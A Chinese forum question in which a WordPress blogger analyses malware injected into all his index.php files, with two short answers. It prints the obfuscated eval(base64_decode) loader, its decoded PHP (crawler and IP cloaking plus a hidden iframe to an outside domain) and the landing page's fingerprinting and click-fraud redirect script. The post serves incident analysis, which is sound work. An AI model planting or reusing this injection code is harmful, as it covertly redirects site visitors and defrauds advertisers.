我维护了三个wordpress博客，昨天上午，他们都被黑了。
在我的所有index.php内，第一行看起来如下：
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9'))
除了修复它（似乎有效）之外，我想知道它的作用和目的。
所以我解码了插入的代码：
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>';
}
粗略地说，如果我理解正确的话，它会显示一个额外的iframe，它需要加载一些来源，但前提是用户代理和IP不在阻塞的ips列表中，或者阻止机器人。我猜：要确保我的网站不会被列入黑名单，但任何访问者仍然会收到垃圾邮件。
但我仍然很好奇：它实际上做了什么？
所以我使用RestClient跟踪 http://wumpearpmy.cz.cc/go/1 的链接并获取以下返回的HTML：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<title>http://groupon.be</title>
<head>
<STYLE>
BODY {
BACKGROUND: #666; FONT: 100% Georgia, "Times New Roman", Times, serif; COLOR: #666
}
A {
COLOR: #fe701a
}
A:hover {
COLOR: #fdc336
}
P {
FONT: 105% century
}
.main_wrapper{
width:90%; margin:auto; border:10px solid #888888; background-color:#FFFFFF; margin-top:25px; height:450px;
}
.skipimage{margin:auto; text-align:center; height:30%}
.img_wrapper{background-image:url(continue.gif); background-position:top; background-repeat:no-repeat; width:435px; height:215px}
</style>
<script type="text/javascript">
function getCookie(name){var start=document.cookie.indexOf(name+"=");var len=start+name.length+1;if((!start)&&(name!=document.cookie.substring(0,name.length))){return null;}
if(start==-1)return null;var end=document.cookie.indexOf(';',len);if(end==-1)end=document.cookie.length;return unescape(document.cookie.substring(len,end));}function setCookie(name,value,expires,path,domain,secure){var today=new Date();today.setTime(today.getTime());
var expires_date=new Date(today.getTime()+(expires));document.cookie=name+'='+escape(value)+
((expires)?';expires='+expires_date.toGMTString():'')+
((path)?';path='+path:'')+
((domain)?';domain='+domain:'')+
((secure)?';secure':'');}
</script>
</head>
<body>
<form method="get" action="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names" name="rr">
<input type="hidden" name="sid" value="294787600" />
<input type="hidden" name="sa" value="13" />
<input type="hidden" name="p" value="1" />
<input type="hidden" name="s" value="98795" />
<input type="hidden" name="qt" value="1307865129" />
<input type="hidden" name="q" value="domain names" />
<input type="hidden" name="rf" value="" />
<input type="hidden" name="enc" value="" />
<input type="hidden" name="enk" value="RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm" />
<input type="hidden" name="xsc" value="" />
<input type="hidden" name="xsp" value="" />
<input type="hidden" name="xsm" value="" />
<input type="hidden" name="xuc" value=""/>
<input type="hidden" name="xcf" value=""/>
<input type="hidden" name="xai" value=""/>
<input type="hidden" name="qxcli" value="8904e76aaa70acee" />
<input type="hidden" name="qxsi" value="e0f63d5350e1c1d9" />
<input type="hidden" name="mk" value="1" />
<input type="hidden" name="ScreenX" value="0" />
<input type="hidden" name="ScreenY" value="0" />
<input type="hidden" name="BrowserX" value="0" />
<input type="hidden" name="BrowserY" value="0"/>
<input type="hidden" name="MouseX" value="0"/>
<input type="hidden" name="MouseY" value="0"/>
<input type="hidden" name="is_iframe" value="0"/>
</form>
<div class="main_wrapper">
<table width="60%" border="0" align="center" cellpadding="0" cellspacing="0" height="100%">
<tr>
<td align="center" valign="middle">
<table width="435" border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="img_wrapper" >
<div style="width:60%; margin:auto;height:215px;">
<div class="skipimage" style="padding-top:40px;">
<!-- a href="javascript:void(0)" onclick="press();"><img src="skip.gif" / border="0"></a -->
<a href="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names&enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm&rf=&qxcli=8904e76aaa70acee&qxsi=e0f63d5350e1c1d9"><img src="skip.gif" / border="0"></a>
</div>
<div class="skipimage">
<img src="ajax-loader.gif" / border="0">
<P><SPAN>Your request is loading...</SPAN></P>
</div>
</div>
</td>
</tr>
</table>
<br />
<p>If you are not redirected within 2 seconds <a href="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names&enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm&rf=&qxcli=8904e76aaa70acee&qxsi=e0f63d5350e1c1d9">click here</a> to continue</p>
</td>
</tr>
</table>
</div>
<script type="text/javascript">
var hexcase=0;var b64pad="";var chrsz=8;function hex_md5(s){return binl2hex(core_md5(str2binl(s),s.length*chrsz));}
function core_md5(x,len){x[len>>5]|=0x80<<((len)%32);x[(((len+64)>>>9)<<4)+14]=len;var a=1732584193;var b=-271733879;var c=-1732584194;var d=271733878;for(var i=0;i<x.length;i+=16){var olda=a;var oldb=b;var oldc=c;var oldd=d;a=md5_ff(a,b,c,d,x[i+0],7,-680876936);d=md5_ff(d,a,b,c,x[i+1],12,-389564586);c=md5_ff(c,d,a,b,x[i+2],17,606105819);b=md5_ff(b,c,d,a,x[i+3],22,-1044525330);a=md5_ff(a,b,c,d,x[i+4],7,-176418897);d=md5_ff(d,a,b,c,x[i+5],12,1200080426);c=md5_ff(c,d,a,b,x[i+6],17,-1473231341);b=md5_ff(b,c,d,a,x[i+7],22,-45705983);a=md5_ff(a,b,c,d,x[i+8],7,1770035416);d=md5_ff(d,a,b,c,x[i+9],12,-1958414417);c=md5_ff(c,d,a,b,x[i+10],17,-42063);b=md5_ff(b,c,d,a,x[i+11],22,-1990404162);a=md5_ff(a,b,c,d,x[i+12],7,1804603682);d=md5_ff(d,a,b,c,x[i+13],12,-40341101);c=md5_ff(c,d,a,b,x[i+14],17,-1502002290);b=md5_ff(b,c,d,a,x[i+15],22,1236535329);a=md5_gg(a,b,c,d,x[i+1],5,-165796510);d=md5_gg(d,a,b,c,x[i+6],9,-1069501632);c=md5_gg(c,d,a,b,x[i+11],14,643717713);b=md5_gg(b,c,d,a,x[i+0],20,-373897302);a=md5_gg(a,b,c,d,x[i+5],5,-701558691);d=md5_gg(d,a,b,c,x[i+10],9,38016083);c=md5_gg(c,d,a,b,x[i+15],14,-660478335);b=md5_gg(b,c,d,a,x[i+4],20,-405537848);a=md5_gg(a,b,c,d,x[i+9],5,568446438);d=md5_gg(d,a,b,c,x[i+14],9,-1019803690);c=md5_gg(c,d,a,b,x[i+3],14,-187363961);b=md5_gg(b,c,d,a,x[i+8],20,1163531501);a=md5_gg(a,b,c,d,x[i+13],5,-1444681467);d=md5_gg(d,a,b,c,x[i+2],9,-51403784);c=md5_gg(c,d,a,b,x[i+7],14,1735328473);b=md5_gg(b,c,d,a,x[i+12],20,-1926607734);a=md5_hh(a,b,c,d,x[i+5],4,-378558);d=md5_hh(d,a,b,c,x[i+8],11,-2022574463);c=md5_hh(c,d,a,b,x[i+11],16,1839030562);b=md5_hh(b,c,d,a,x[i+14],23,-35309556);a=md5_hh(a,b,c,d,x[i+1],4,-1530992060);d=md5_hh(d,a,b,c,x[i+4],11,1272893353);c=md5_hh(c,d,a,b,x[i+7],16,-155497632);b=md5_hh(b,c,d,a,x[i+10],23,-1094730640);a=md5_hh(a,b,c,d,x[i+13],4,681279174);d=md5_hh(d,a,b,c,x[i+0],11,-358537222);c=md5_hh(c,d,a,b,x[i+3],16,-722521979);b=md5_hh(b,c,d,a,x[i+6],23,76029189);a=md5_hh(a,b,c,d,x[i+9],4,-640364487);d=md5_hh(d,a,b,c,x[i+12],11,-421815835);c=md5_hh(c,d,a,b,x[i+15],16,530742520);b=md5_hh(b,c,d,a,x[i+2],23,-995338651);a=md5_ii(a,b,c,d,x[i+0],6,-198630844);d=md5_ii(d,a,b,c,x[i+7],10,1126891415);c=md5_ii(c,d,a,b,x[i+14],15,-1416354905);b=md5_ii(b,c,d,a,x[i+5],21,-57434055);a=md5_ii(a,b,c,d,x[i+12],6,1700485571);d=md5_ii(d,a,b,c,x[i+3],10,-1894986606);c=md5_ii(c,d,a,b,x[i+10],15,-1051523);b=md5_ii(b,c,d,a,x[i+1],21,-2054922799);a=md5_ii(a,b,c,d,x[i+8],6,1873313359);d=md5_ii(d,a,b,c,x[i+15],10,-30611744);c=md5_ii(c,d,a,b,x[i+6],15,-1560198380);b=md5_ii(b,c,d,a,x[i+13],21,1309151649);a=md5_ii(a,b,c,d,x[i+4],6,-145523070);d=md5_ii(d,a,b,c,x[i+11],10,-1120210379);c=md5_ii(c,d,a,b,x[i+2],15,718787259);b=md5_ii(b,c,d,a,x[i+9],21,-343485551);a=safe_add(a,olda);b=safe_add(b,oldb);c=safe_add(c,oldc);d=safe_add(d,oldd);} return Array(a,b,c,d);}
function md5_cmn(q,a,b,x,s,t){return safe_add(bit_rol(safe_add(safe_add(a,q),safe_add(x,t)),s),b);}function md5_ff(a,b,c,d,x,s,t){return md5_cmn((b&c)|((~b)&d),a,b,x,s,t);}function md5_gg(a,b,c,d,x,s,t){return md5_cmn((b&d)|(c&(~d)),a,b,x,s,t);}function md5_hh(a,b,c,d,x,s,t){return md5_cmn(b^c^d,a,b,x,s,t);}function md5_ii(a,b,c,d,x,s,t){return md5_cmn(c^(b|(~d)),a,b,x,s,t);}function safe_add(x,y){var lsw=(x&0xFFFF)+(y&0xFFFF);var msw=(x>>16)+(y>>16)+(lsw>>16);return(msw<<16)|(lsw&0xFFFF);}function bit_rol(num,cnt){return(num<<cnt)|(num>>>(32-cnt));}function str2binl(str){var bin=Array();var mask=(1<<chrsz)-1;for(var i=0;i<str.length*chrsz;i+=chrsz) bin[i>>5]|=(str.charCodeAt(i/chrsz)&mask)<<(i%32);return bin;}function binl2hex(binarray){var hex_tab=hexcase?"0123456789ABCDEF":"0123456789abcdef";var str="";for(var i=0;i<binarray.length*4;i++) {str+=hex_tab.charAt((binarray[i>>2]>>((i%4)*8+4))&0xF)+ hex_tab.charAt((binarray[i>>2]>>((i%4)*8))&0xF);} return str;}
/* function getCookie(cookiename){ var cookiestring=""+document.cookie; var index1=cookiestring.indexOf(cookiename); if(index1==-1 || cookiename=="") return ""; var index2=cookiestring.indexOf(';',index1); if (index2==-1) index2=cookiestring.length; return unescape(cookiestring.substring(index1+cookiename.length+1,index2));} */
function add_ch(n,v){ if(v) { window.dch +="["+n+":"+enc_data(v)+"]";}}function enc_data(b){ if(typeof encodeURIComponent=="function") { return encodeURIComponent(b);} else {return escape(b);}}function G() {var dt = new Date(); if(!window.dch) { window.dch = "";} if(screen) { add_ch("h",screen.height); add_ch("w",screen.width); add_ch("cd",screen.colorDepth);} add_ch("tz", -dt.getTimezoneOffset()); add_ch("jv", navigator.javaEnabled()); if (navigator.plugins) { add_ch("pg",navigator.plugins.length); } if (navigator.mimeTypes) { add_ch("mm",navigator.mimeTypes.length); } add_ch('ua', navigator.userAgent); add_ch('ts', Date.parse(dt)); tr = hex_md5(dch); setCookie('xch', tr, 63072000000, '/', '', '');}function gsc(){if(!getCookie("xch")){G();}} gsc();
// global variable
var screenwidth;
var screenheight;
var viewportwidth;
var viewportheight;
var myMouseX, myMouseY;
var event_flag = false;
//window.onload = press;
function press(){
var dim = screenDimension();
document.forms['rr'].ScreenX.value = dim[0];
document.forms['rr'].ScreenY.value = dim[1];
// Browser X*Y
var dim_browser = browserDimension();
document.forms['rr'].BrowserX.value = dim_browser[0];
document.forms['rr'].BrowserY.value = dim_browser[1];
if((window.top!=window.self)){
document.forms['rr'].is_iframe.value = 1;
}
// document.onmousemove=getXYPosition; // start event listener
if (getCookie('mrc') != "groupon.be") {
setCookie('mrc', 'groupon.be', 180000, '/', '.maximumspeedfind.com', '');
document.forms['rr'].submit();
}else{
document.forms['rr'].action = 'http://clicks.maximumspeedfind.com/xtr2_new?q=domain+names&enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm&rf=&qxcli=8904e76aaa70acee&qxsi=e0f63d5350e1c1d9';
document.forms['rr'].submit();
}
}
/*
// mouse postion
function getXYPosition(e){
if(!event_flag){
// console.debug(e);
myMouseX = mouseXPos(e);
myMouseY = mouseYPos(e);
document.forms['rr'].MouseX.value = myMouseX;
document.forms['rr'].MouseY.value = myMouseY;
event_flag = true;
}
}
*/
// Screen
function screenDimension(){
if (typeof screen.width != 'undefined' && typeof screen.height != 'undefined' )
{
screenwidth = screen.width;
screenheight = screen.height;
}
return [screenwidth,screenheight];
}
// Browser
function browserDimension(){
// the more standards compliant browsers (mozilla/netscape/opera/IE7) use window.innerWidth and window.innerHeight
if (typeof window.innerWidth != 'undefined')
{
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确定。我可以阅读groupon.com，但我猜这只是假的（太明显了？），它会检查是否存在cookie？哪个饼干？我无法立即推断出这一点。它将在两秒钟内发送到 clicks.maximumspeedfind.com 。我没有尝试这样做。
很多代码确保窗口保持小，几乎不可见。但似乎还有很多混淆代码。
任何人都能告诉我他们在这里想做什么吗？怎么样？
这是他们试图伪造的某些点击率吗？ （也许天真）。
答案 0 :(得分：5)
首先，它会从可以检测到它并向网站管理员发出警报的抓取工具中隐藏自己。其次，它似乎是网络钓鱼攻击。嗯，不太好。我认为有人因为他们获得的展示次数而获得报酬，并且使用iframe伪造了一些。
短版本是：没什么好吃的。
答案 1 :(得分：0)
如果我没弄错的话，他们会尝试将一些数据发布到服务器上。他们需要独特的IP;他们希望通过重定向读者来获得。它似乎在某个搜索引擎中搜索域名。可能是他们试图通过将用户重定向到具有特定引用者的搜索页面来获得收入。